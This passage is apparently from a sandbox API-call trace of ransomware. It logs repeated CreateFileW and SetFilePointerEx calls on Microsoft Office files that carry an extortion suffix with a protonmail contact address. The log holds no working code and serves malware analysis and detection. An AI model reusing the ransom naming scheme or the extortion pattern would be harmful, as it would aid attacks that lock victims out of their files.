office\\root\\office16\\1033\\pubspapr\\zpdir11f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.776] CloseHandle (hObject=0x1284) returned 1 [0264.778] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.778] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR12F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir12f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.778] CloseHandle (hObject=0x1284) returned 1 [0264.779] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.779] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR13F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir13f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.779] CloseHandle (hObject=0x1284) returned 1 [0264.780] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.780] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR14F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir14f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.781] CloseHandle (hObject=0x1284) returned 1 [0264.782] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.782] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR15F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir15f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.783] CloseHandle (hObject=0x1284) returned 1 [0264.790] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.790] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR16F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir16f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.791] CloseHandle (hObject=0x1284) returned 1 [0264.792] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.793] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR17F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir17f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.793] CloseHandle (hObject=0x1284) returned 1 [0264.794] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.794] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR18F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir18f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.794] CloseHandle (hObject=0x1284) returned 1 [0264.796] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.796] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR19F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir19f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.797] CloseHandle (hObject=0x1284) returned 1 [0264.797] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.798] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR1B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir1b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.798] CloseHandle (hObject=0x1284) returned 1 [0264.799] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.799] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR1F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir1f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.800] CloseHandle (hObject=0x1284) returned 1 [0264.801] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.801] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR20F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir20f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.802] CloseHandle (hObject=0x1284) returned 1 [0264.803] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.803] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR21F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir21f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.803] CloseHandle (hObject=0x1284) returned 1 [0264.805] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.805] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR22F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir22f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.805] CloseHandle (hObject=0x1284) returned 1 [0264.806] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.806] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR23F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir23f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.806] CloseHandle (hObject=0x1284) returned 1 [0264.807] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.808] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR24F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir24f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.808] CloseHandle (hObject=0x1284) returned 1 [0264.809] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.809] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR25F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir25f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.809] CloseHandle (hObject=0x1284) returned 1 [0264.810] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.810] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR26F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir26f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.811] CloseHandle (hObject=0x1284) returned 1 [0264.812] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.812] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR27F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir27f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.812] CloseHandle (hObject=0x1284) returned 1 [0264.813] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.813] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR28F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir28f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.813] CloseHandle (hObject=0x1284) returned 1 [0264.814] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.814] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR29F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir29f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.815] CloseHandle (hObject=0x1284) returned 1 [0264.815] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.816] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR2B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir2b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.816] CloseHandle (hObject=0x1284) returned 1 [0265.193] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.193] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR2F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir2f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.193] CloseHandle (hObject=0x11d0) returned 1 [0265.267] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.267] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.267] CloseHandle (hObject=0x1068) returned 1 [0265.269] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.269] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.269] CloseHandle (hObject=0x1068) returned 1 [0265.270] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.270] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.270] CloseHandle (hObject=0x1068) returned 1 [0265.271] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.271] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.271] CloseHandle (hObject=0x1068) returned 1 [0265.272] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.272] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.272] CloseHandle (hObject=0x1068) returned 1 [0265.275] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.275] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.275] CloseHandle (hObject=0x1068) returned 1 [0265.277] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.277] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.278] CloseHandle (hObject=0x1068) returned 1 [0265.280] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.280] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.280] CloseHandle (hObject=0x1068) returned 1 [0265.283] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.283] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 